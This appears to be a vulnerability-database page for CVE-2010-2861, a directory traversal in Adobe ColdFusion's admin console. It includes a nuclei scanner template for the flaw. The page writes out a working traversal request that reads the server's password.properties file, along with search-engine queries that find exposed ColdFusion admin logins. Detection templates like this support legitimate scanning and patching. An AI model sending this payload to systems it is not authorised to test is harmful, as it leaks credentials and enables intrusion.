Adobe ColdFusion 8.0/8.0.1/9.0/9.0.1 LFI

Exploited in the wild. Listed by CISA on 2022-03-25; known to be used by ransomware.

highseverity

7.5CVSS score

99.7%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Multiple directory traversal vulnerabilities in the administrator console in Adobe ColdFusion 9.0.1 and earlier allow remote attackers to read arbitrary files via the locale parameter to (1) CFIDE/administrator/settings/mappings.cfm, (2) logging/settings.cfm, (3) datasources/index.cfm, (4) j2eepackaging/editarchive.cfm, and (5) enter.cfm in CFIDE/administrator/.

Impact

This vulnerability can lead to unauthorized access to sensitive information and potential compromise of the affected system.

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/CFIDE/administrator/enter.cfm?locale=../../../../../../../lib/password.properties%00en
Positive when: contains "rdspassword=" and "encrypted=" AND status 200

Run it with nuclei: nuclei -id CVE-2010-2861 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2010-2861

info:
  name: Adobe ColdFusion 8.0/8.0.1/9.0/9.0.1 LFI
  author: pikpikcu
  severity: high
  description: Multiple directory traversal vulnerabilities in the administrator console in Adobe ColdFusion 9.0.1 and earlier allow remote attackers to read arbitrary files via the locale parameter to (1) CFIDE/administrator/settings/mappings.cfm, (2) logging/settings.cfm, (3) datasources/index.cfm, (4) j2eepackaging/editarchive.cfm, and (5) enter.cfm in CFIDE/administrator/.
  impact: |
    This vulnerability can lead to unauthorized access to sensitive information and potential compromise of the affected system.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://github.com/vulhub/vulhub/tree/master/coldfusion/CVE-2010-2861
    - http://www.adobe.com/support/security/bulletins/apsb10-18.html
    - http://securityreason.com/securityalert/8148
    - http://securityreason.com/securityalert/8137
    - http://www.gnucitizen.org/blog/coldfusion-directory-traversal-faq-cve-2010-2861/
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2010-2861
    cwe-id: CWE-22
    epss-score: 0.99747
    epss-percentile: 0.99953
    cpe: cpe:2.3:a:adobe:coldfusion:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: adobe
    product: coldfusion
    shodan-query:
      - http.component:"Adobe ColdFusion"
      - http.component:"adobe coldfusion"
      - http.title:"coldfusion administrator login"
      - cpe:"cpe:2.3:a:adobe:coldfusion"
    fofa-query:
      - title="coldfusion administrator login"
      - app="adobe-coldfusion"
    google-query: intitle:"coldfusion administrator login"
  tags: cve,cve2010,adobe,kev,vulhub,coldfusion,lfi,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/CFIDE/administrator/enter.cfm?locale=../../../../../../../lib/password.properties%00en"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "rdspassword="
          - "encrypted="
        condition: and

      - type: status
        status:
          - 200

References

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